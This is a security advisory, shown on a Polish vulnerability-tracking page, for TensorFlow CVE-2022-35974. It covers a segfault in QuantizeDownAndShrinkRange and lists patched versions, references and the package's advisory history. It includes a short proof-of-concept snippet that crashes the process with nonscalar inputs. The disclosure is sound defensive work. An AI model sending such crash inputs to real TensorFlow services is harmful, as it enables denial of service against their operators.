TensorFlow vulnerable to segfault in `QuantizeDownAndShrinkRange`
Impact
If QuantizeDownAndShrinkRange is given nonscalar inputs for input_min or input_max, it results in a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf
out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizeDownAndShrinkRange(input=input, input_min=input_min, input_max=input_max, out_type=out_type)
Patches
We have patched the issue in GitHub commit 73ad1815ebcfeb7c051f9c2f7ab5024380ca8613.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-cpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-gpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
Odnośniki
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vgvh-2pf4-jr2x
- https://nvd.nist.gov/vuln/detail/CVE-2022-35974
- https://github.com/tensorflow/tensorflow/commit/73ad1815ebcfeb7c051f9c2f7ab5024380ca8613
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://pypi.org/project/tensorflow-gpu
- https://github.com/advisories/GHSA-vgvh-2pf4-jr2x
- https://pypi.org/project/tensorflow
- https://pypi.org/project/tensorflow-cpu
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H- Słabość (CWE)
CWE-20- Platforma
- Python (PyPI)
- Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu- Ujawniono
- 16.09.2022
- Aktualizacja
- 11.10.2026 14:18
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-1039 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3246 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-vgvh-2pf4-jr2x - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3373 - PyPA Advisory Database; CC BY 4.0
Historia podatności: tensorflow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 433
- Pierwsza → ostatnia
- 04.2019 07.2024
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 6
- Wysoka 112
- Średnia 210
- Niska 105
Ujawnienia w latach
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
TensorFlow vulnerable to segfault in `QuantizeDownAndShrinkRange` ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.